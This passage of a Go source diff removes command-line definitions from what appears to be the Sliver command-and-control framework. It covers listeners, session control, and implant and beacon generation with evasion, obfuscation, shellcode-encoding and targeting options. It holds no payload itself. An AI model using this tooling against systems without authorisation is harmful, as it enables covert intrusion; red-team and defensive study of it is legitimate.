"udp listen port") - f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port") - f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(wgCmd) - - dnsCmd := &cobra.Command{ - Use: consts.DnsStr, - Short: "Start a DNS listener", - Long: help.GetHelpFor([]string{consts.DnsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.DNSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("DNS listener", false, dnsCmd, func(f *pflag.FlagSet) { - f.StringP("domains", "d", "", "parent domain(s) to use for DNS c2") - f.BoolP("no-canaries", "c", false, "disable dns canary detection") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(dnsCmd) - - httpCmd := &cobra.Command{ - Use: consts.HttpStr, - Short: "Start an HTTP listener", - Long: help.GetHelpFor([]string{consts.HttpStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.HTTPListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("HTTP listener", false, httpCmd, func(f *pflag.FlagSet) { - f.StringP("domain", "d", "", "limit responses to specific domain") - f.StringP("website", "w", "", "website name (see websites cmd)") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultHTTPLPort, "tcp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") - f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(httpCmd) - - httpsCmd := &cobra.Command{ - Use: consts.HttpsStr, - Short: "Start an HTTPS listener", - Long: help.GetHelpFor([]string{consts.HttpsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.HTTPSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("HTTPS listener", false, httpsCmd, func(f *pflag.FlagSet) { - f.StringP("domain", "d", "", "limit responses to specific domain") - f.StringP("website", "w", "", "website name (see websites cmd)") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultHTTPSLPort, "tcp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") - f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") - - f.StringP("cert", "c", "", "PEM encoded certificate file") - f.StringP("key", "k", "", "PEM encoded private key file") - f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate") - f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints") - - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(httpsCmd) - - stageCmd := &cobra.Command{ - Use: consts.StageListenerStr, - Short: "Start a stager listener", - Long: help.GetHelpFor([]string{consts.StageListenerStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.StageListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("stage listener", false, stageCmd, func(f *pflag.FlagSet) { - f.StringP("profile", "p", "", "implant profile name to link with the listener") - f.StringP("url", "u", "", "URL to which the stager will call back to") - f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") - f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") - f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") - f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") - f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") - f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") - f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") - f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") - }) - FlagComps(stageCmd, func(comp *carapace.ActionMap) { - (*comp)["profile"] = generate.ProfileNameCompleter(con) - (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") - (*comp)["key"] = carapace.ActionFiles().Tag("key file") - (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") - }) - server.AddCommand(stageCmd) - - // [ Operators ] -------------------------------------------------------------- - - operatorsCmd := &cobra.Command{ - Use: consts.OperatorsStr, - Short: "Manage operators", - Long: help.GetHelpFor([]string{consts.OperatorsStr}), - Run: func(cmd *cobra.Command, args []string) { - operators.OperatorsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("operators", false, operatorsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(operatorsCmd) - - // Server-only commands. if serverCmds != nil { - server.AddGroup(&cobra.Group{ID: consts.MultiplayerHelpGroup, Title: consts.MultiplayerHelpGroup}) - server.AddCommand(serverCmds()...) - } - - // [ Sessions ] -------------------------------------------------------------- - - sessionsCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Session management", - Long: help.GetHelpFor([]string{consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { - f.StringP("interact", "i", "", "interact with a session") - f.StringP("kill", "k", "", "kill the designated session") - f.BoolP("kill-all", "K", false, "kill all the sessions") - f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") - f.BoolP("force", "F", false, "force session action without waiting for results") - - f.StringP("filter", "f", "", "filter sessions by substring") - f.StringP("filter-re", "e", "", "filter sessions by regular expression") - }) - FlagComps(sessionsCmd, func(comp *carapace.ActionMap) { - (*comp)["interact"] = use.BeaconAndSessionIDCompleter(con) - (*comp)["kill"] = use.BeaconAndSessionIDCompleter(con) - }) - server.AddCommand(sessionsCmd) - - sessionsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Kill all stale/dead sessions", - Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsPruneCmd(cmd, con, args) - }, - } - Flags("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") - }) - sessionsCmd.AddCommand(sessionsPruneCmd) - - // [ Use ] -------------------------------------------------------------- - - useCmd := &cobra.Command{ - Use: consts.UseStr, - Short: "Switch the active session or beacon", - Long: help.GetHelpFor([]string{consts.UseStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("use", true, useCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(useCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - server.AddCommand(useCmd) - - useSessionCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Switch the active session", - Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseSessionCmd(cmd, con, args) - }, - } - carapace.Gen(useSessionCmd).PositionalCompletion(use.SessionIDCompleter(con)) - useCmd.AddCommand(useSessionCmd) - - useBeaconCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Switch the active beacon", - Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseBeaconCmd(cmd, con, args) - }, - } - carapace.Gen(useBeaconCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - useCmd.AddCommand(useBeaconCmd) - - // [ Settings ] -------------------------------------------------------------- - - settingsCmd := &cobra.Command{ - Use: consts.SettingsStr, - Short: "Manage client settings", - Long: help.GetHelpFor([]string{consts.SettingsStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - settingsCmd.AddCommand(&cobra.Command{ - Use: consts.SaveStr, - Short: "Save the current settings to disk", - Long: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsSaveCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: consts.TablesStr, - Short: "Modify tables setting (style)", - Long: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsTablesCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "beacon-autoresults", - Short: "Automatically display beacon task results when completed", - Long: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsBeaconsAutoResultCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "autoadult", - Short: "Automatically accept OPSEC warnings", - Long: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsAutoAdultCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "always-overflow", - Short: "Disable table pagination", - Long: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsAlwaysOverflow(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "small-terminal", - Short: "Set the small terminal width", - Long: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsSmallTerm(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "user-connect", - Short: "Enable user connections/disconnections (can be very verbose when they use CLI)", - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsUserConnect(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "console-logs", - Short: "Log console output (toggle)", - Long: help.GetHelpFor([]string{consts.SettingsStr, "console-logs"}), - Run: func(ctx *cobra.Command, args []string) { - settings.SettingsConsoleLogs(ctx, con) - }, - }) - server.AddCommand(settingsCmd) - - // [ Info ] -------------------------------------------------------------- - - infoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Get info about session", - Long: help.GetHelpFor([]string{consts.InfoStr}), - Run: func(cmd *cobra.Command, args []string) { - info.InfoCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("use", false, infoCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - server.AddCommand(infoCmd) - - // [ Shellcode Encoders ] -------------------------------------------------------------- - - shikataGaNaiCmd := &cobra.Command{ - Use: consts.ShikataGaNai, - Short: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない", - Long: help.GetHelpFor([]string{consts.ShikataGaNai}), - Run: func(cmd *cobra.Command, args []string) { - sgn.ShikataGaNaiCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - GroupID: consts.PayloadsHelpGroup, - } - server.AddCommand(shikataGaNaiCmd) - Flags("shikata ga nai", false, shikataGaNaiCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save output to local file") - f.StringP("arch", "a", "amd64", "architecture of shellcode") - f.IntP("iterations", "i", 1, "number of iterations") - f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(shikataGaNaiCmd, func(comp *carapace.ActionMap) { - (*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode") - }) - carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file")) - - // [ Generate ] -------------------------------------------------------------- - - generateCmd := &cobra.Command{ - Use: consts.GenerateStr, - Short: "Generate an implant binary", - Long: help.GetHelpFor([]string{consts.GenerateStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("generate", true, generateCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("session", false, generateCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("name", "N", "", "agent name") - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.StringP("template", "I", "sliver", "implant code template") - f.BoolP("external-builder", "E", false, "use an external builder") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("save", "s", "", "directory/file to the binary to") - }) - FlagComps(generateCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - server.AddCommand(generateCmd) - - generateBeaconCmd := &cobra.Command{ - Use: consts.BeaconStr, - Short: "Generate a beacon binary", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateBeaconCmd(cmd, con, args) - }, - } - Flags("beacon", false, generateBeaconCmd, func(f *pflag.FlagSet) { - f.Int64P("days", "D", 0, "beacon interval days") - f.Int64P("hours", "H", 0, "beacon interval hours") - f.Int64P("minutes", "M", 0, "beacon interval minutes") - f.Int64P("seconds", "S", 60, "beacon interval seconds") - f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") - - // Generate flags - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("name", "N", "", "agent name") - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.StringP("template", "I", "sliver", "implant code template") - f.BoolP("external-builder", "E", false, "use an external builder") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("save", "s", "", "directory/file to the binary to") - }) - FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - generateCmd.AddCommand(generateBeaconCmd) - - generateStagerCmd := &cobra.Command{ - Use: consts.MsfStagerStr, - Short: "Generate a stager using Metasploit (requires local Metasploit installation)", - Long: help.GetHelpFor([]string{consts.MsfStagerStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateStagerCmd(cmd, con, args) - }, - } - Flags("stager", false, generateStagerCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("lhost", "L", "", "Listening host") - f.Uint32P("lport", "l", 8443, "Listening port") - f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)") - f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)") - f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode") - f.StringP("save", "s", "", "directory to save the generated stager to") - f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") - }) - generateCmd.AddCommand(generateStagerCmd) - - generateInfoCmd := &cobra.Command{ - Use: consts.CompilerInfoStr, - Short: "Get information about the server's compiler", - Long: help.GetHelpFor([]string{consts.CompilerInfoStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateInfoCmd(cmd, con, args) - }, - } - generateCmd.AddCommand(generateInfoCmd) - - // Traffic Encoder SubCommands - trafficEncodersCmd := &cobra.Command{ - Use: consts.TrafficEncodersStr, - Short: "Manage implant traffic encoders", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersCmd(cmd, con, args) - }, - } - generateCmd.AddCommand(trafficEncodersCmd) - - trafficEncodersAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a new traffic encoder to the server from the local file system", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.AddStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersAddCmd(cmd, con, args) - }, - } - Flags("", false, trafficEncodersAddCmd, func(f *pflag.FlagSet) { - f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)") - }) - carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)")) - trafficEncodersCmd.AddCommand(trafficEncodersAddCmd) - - trafficEncodersRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a traffic encoder from the server", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersRemoveCmd(cmd, con, args) - }, - } - carapace.Gen(trafficEncodersRmCmd).PositionalCompletion(generate.TrafficEncodersCompleter(con).Usage("traffic encoder to remove")) - trafficEncodersCmd.AddCommand(trafficEncodersRmCmd) - - // [ Regenerate ] -------------------------------------------------------------- - - regenerateCmd := &cobra.Command{ - Use: consts.RegenerateStr, - Short: "Regenerate an implant", - Long: help.GetHelpFor([]string{consts.RegenerateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.RegenerateCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("regenerate", false, regenerateCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "directory/file to the binary to") - }) - FlagComps(regenerateCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(regenerateCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con)) - server.AddCommand(regenerateCmd) - - // [ Profiles ] -------------------------------------------------------------- - - profilesCmd := &cobra.Command{ - Use: consts.ProfilesStr, - Short: "List existing profiles", - Long: help.GetHelpFor([]string{consts.ProfilesStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("profiles", true, profilesCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(profilesCmd) - - profilesGenerateCmd := &cobra.Command{ - Use: consts.GenerateStr, - Short: "Generate implant from a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesGenerateCmd(cmd, con, args) - }, - } - Flags("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "directory/file to the binary to") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - }) - FlagComps(profilesGenerateCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(profilesGenerateCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesGenerateCmd) - - profilesNewCmd := &cobra.Command{ - Use: consts.NewStr, - Short: "Create a new implant profile (interactive session)", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesNewCmd(cmd, con, args) - }, - } - Flags("session", false, profilesNewCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("name", "N", "", "agent name") - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("template", "I", "sliver", "implant code template") - - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - }) - FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)")) - profilesCmd.AddCommand(profilesNewCmd) - - // New Beacon Profile Command - profilesNewBeaconCmd := &cobra.Command{ - Use: consts.BeaconStr, - Short: "Create a new implant profile (beacon)", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesNewBeaconCmd(cmd, con, args) - }, - } - Flags("beacon", false, profilesNewBeaconCmd, func(f *pflag.FlagSet) { - f.Int64P("days", "D", 0, "beacon interval days") - f.Int64P("hours", "H", 0, "beacon interval hours") - f.Int64P("minutes", "M", 0, "beacon interval minutes") - f.Int64P("seconds", "S", 60, "beacon interval seconds") - f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - // Generate flags - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("name", "N", "", "agent name") - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("template", "I", "sliver", "implant code template") - - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - 